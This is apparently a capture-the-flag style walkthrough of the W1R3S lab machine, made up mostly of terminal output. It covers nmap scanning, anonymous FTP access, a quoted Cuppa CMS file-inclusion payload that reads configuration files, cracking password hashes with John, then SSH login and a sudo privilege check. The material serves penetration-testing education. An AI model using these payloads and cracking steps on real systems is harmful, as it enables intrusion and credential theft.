root at kali in ~ $ nmap -sn --min-rate 10000 192.168.92.0/24 Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-01 23:18 CST Nmap scan report for 192.168.92.1 Host is up (0.00029s latency). MAC Address: 00:50:56:C0:00:08 (VMware) Nmap scan report for 192.168.92.2 Host is up (0.00014s latency). MAC Address: 00:50:56:F3:1F:1F (VMware) Nmap scan report for 192.168.92.173 MAC Address: 00:0C:29:AA:7F:FC (VMware) Nmap scan report for 192.168.92.254 Host is up (0.00014s latency). MAC Address: 00:50:56:FF:22:F3 (VMware) Nmap scan report for 192.168.92.170 Host is up. Nmap done: 256 IP addresses (5 hosts up) scanned in 11.38 seconds
扫描开放端口:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
root at kali in ~ $ nmap -p- --min-rate 10000 192.168.92.173 Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-01 23:20 CST Nmap scan report for 192.168.92.173 Host is up (0.00018s latency). Not shown: 55528 filtered tcp ports (no-response), 10003 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 3306/tcp open mysql MAC Address: 00:0C:29:AA:7F:FC (VMware) │ Nmap done: 1 IP address (1 host up) scanned in 19.97 seconds
root at kali in ~ $ nmap -p21,22,80,3306 -sT -sV -O 192.168.92.173 Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-01 23:22 CST Nmap scan report for 192.168.92.173 Host is up (0.00047s latency).
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.0.8 or later 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) 3306/tcp open mysql MySQL (unauthorized) MAC Address: 00:0C:29:AA:7F:FC (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5.1 OS details: Linux 3.2 - 4.9, Linux 5.1 Network Distance: 1 hop Service Info: Host: W1R3S.inc; OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 23.14 seconds
root at kali in ~ $ nmap --script=vuln -p21,22,80,3306 --min-rate 10000 192.168.92.173 Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-02 19:46 CST Pre-scan script results: | broadcast-avahi-dos: | Discovered hosts: | 224.0.0.251 | After NULL UDP avahi packet DoS (CVE-2011-1002). |_ Hosts are all up (not vulnerable). Host is up (0.00059s latency).
PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http | http-slowloris-check: | VULNERABLE: | Slowloris DOS attack | State: LIKELY VULNERABLE | IDs: CVE:CVE-2007-6750 | Slowloris tries to keep many connections to the target web server open and hold | them open as long as possible. It accomplishes this by opening connections to | the target web server and sending a partial request. By doing so, it starves | the http server's resources causing Denial Of Service. | | Disclosure date: 2009-09-17 | References: | http://ha.ckers.org/slowloris/ |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750 |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. |_http-csrf: Couldn't find any CSRF vulnerabilities. | http-enum: |_ /wordpress/wp-login.php: Wordpress login page. 3306/tcp open mysql MAC Address: 00:0C:29:AA:7F:FC (VMware)
Nmap done: 1 IP address (1 host up) scanned in 353.19 seconds
# Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/scanner/ftp/anonymous normal No Anonymous FTP Access Detection 1 auxiliary/scanner/ftp/bison_ftp_traversal 2015-09-28 normal Yes BisonWare BisonFTP Server 3.5 Directory Traversal Information Disclosure 2 auxiliary/scanner/ftp/colorado_ftp_traversal 2016-08-11 normal Yes ColoradoFTP Server 1.3 Build 8 Directory Traversal Information Disclosure 3 auxiliary/scanner/ftp/easy_file_sharing_ftp 2017-03-07 normal Yes Easy File Sharing FTP Server 3.6 Directory Traversal 4 auxiliary/scanner/ftp/ftp_login normal No FTP Authentication Scanner 5 auxiliary/scanner/ftp/ftp_version normal No FTP Version Scanner 6 auxiliary/scanner/ftp/konica_ftp_traversal 2015-09-22 normal Yes Konica Minolta FTP Utility 1.00 Directory Traversal Information Disclosure 7 auxiliary/scanner/ftp/pcman_ftp_traversal 2015-09-28 normal Yes PCMan FTP Server 2.0.7 Directory Traversal Information Disclosure 8 auxiliary/scanner/ftp/titanftp_xcrc_traversal 2010-06-15 normal No Titan FTP XCRC Directory Traversal Information Disclosure
Interact with a module by name or index. For example info 8, use 8 or use auxiliary/scanner/ftp/titanftp_xcrc_traversal
msf6 > use 0 msf6 auxiliary(scanner/ftp/anonymous) > show options
Module options (auxiliary/scanner/ftp/anonymous):
Name Current Setting Required Description ---- --------------- -------- ----------- FTPPASS mozilla@example.com no The password for the specified username FTPUSER anonymous no The username to authenticate as RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 21 yes The target port (TCP) THREADS 1 yes The number of concurrent threads (max one per host)
View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/ftp/anonymous) > set RHOSTS 192.168.92.173 RHOSTS => 192.168.92.173 msf6 auxiliary(scanner/ftp/anonymous) > run
root at kali in ~ │ $ ftp 192.168.92.173 │ Connected to 192.168.92.173. │ 220 Welcome to W1R3S.inc FTP service. │ Name (192.168.92.173:root): anonymous │ 331 Please specify the password. │ Password: │ 230 Login successful. │ Remote system type is UNIX. │ Using binary mode to transfer files. │ ftp>
root at kali in ~ $ searchsploit -m 25971.txt Exploit: Cuppa CMS - '/alertConfigField.php' Local/Remote File Inclusion URL: https://www.exploit-db.com/exploits/25971 Path: /usr/share/exploitdb/exploits/php/webapps/25971.txt Codes: OSVDB-94101 Verified: True File Type: C++ source, ASCII text, with very long lines (876) Copied to: /root/25971.txt root at kali in ~ $ cat 25971.txt ## Exploit Title : Cuppa CMS File Inclusion ## Date : 4 June 2013 ## Exploit Author : CWH Underground ## Site : www.2600.in.th ## Vendor Homepage : http://www.cuppacms.com/ ## Software Link : http://jaist.dl.sourceforge.net/project/cuppacms/cuppa_cms.zip ## Version : Beta ## Tested on : Window and Linux
----------------------------------------------------------------------------- LINE 22: <?php include($_REQUEST["urlConfig"]); ?> ----------------------------------------------------------------------------- ###################################################### DESCRIPTION ###################################################### An attacker might include local or remote PHP files or read non-PHP files with this vulnerability. User tainted data is used when creating the fil e name that will be included into the current file. PHP code in this file will be evaluated, non-PHP code will be embedded to the output. This vul nerability can lead to full server compromise.
Moreover, We could access Configuration.php source code via PHPStream
For Example: ----------------------------------------------------------------------------- http://target/cuppa/alerts/alertConfigField.php?urlConfig=php://filter/convert.base64-encode/resource=../Configuration.php -----------------------------------------------------------------------------
root at kali in ~ $ john md5 Created directory: /root/.john Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA256" Use the "--format=HMAC-SHA256" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 3 password hashes with 3 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x]) Cost 1 (iteration count) is 5000 for all loaded hashes Will run 4 OpenMP threads Proceeding with single, rules:Single Press 'q' or Ctrl-C to abort, almost any other key for status www-data (www-data) Almost done: Processing the remaining buffered candidate passwords, if any. Proceeding with wordlist:/usr/share/john/password.lst computer (w1r3s)
root at kali in ~ $ ssh w1r3s@192.168.92.173 The authenticity of host '192.168.92.173 (192.168.92.173)' can't be established. ED25519 key fingerprint is SHA256:Bue5VbUKeMSJMQdicmcMPTCv6xvD7I+20Ki8Um8gcWM. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.92.173' (ED25519) to the list of known hosts. ---------------------- Think this is the way? ---------------------- Well,........possibly. ---------------------- w1r3s@192.168.92.173's password: Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.13.0-36-generic x86_64)
641 packages can be updated. 490 updates are security updates.
New release '18.04.6 LTS' available. Run 'do-release-upgrade' to upgrade to it.
.....You made it huh?.... Last login: Mon Jan 22 22:47:27 2018 from 192.168.0.35 w1r3s@W1R3S:~$ id uid=1000(w1r3s) gid=1000(w1r3s) groups=1000(w1r3s),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
登录成功!
5 SUDO 提权
查看一下当前账户可以执行什么命令:
1 2 3 4 5 6 7
w1r3s@W1R3S:~$ sudo -l [sudo] password for w1r3s: Matching Defaults entries for w1r3s on W1R3S.localdomain: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User w1r3s may run the following commands on W1R3S.localdomain: (ALL : ALL) ALL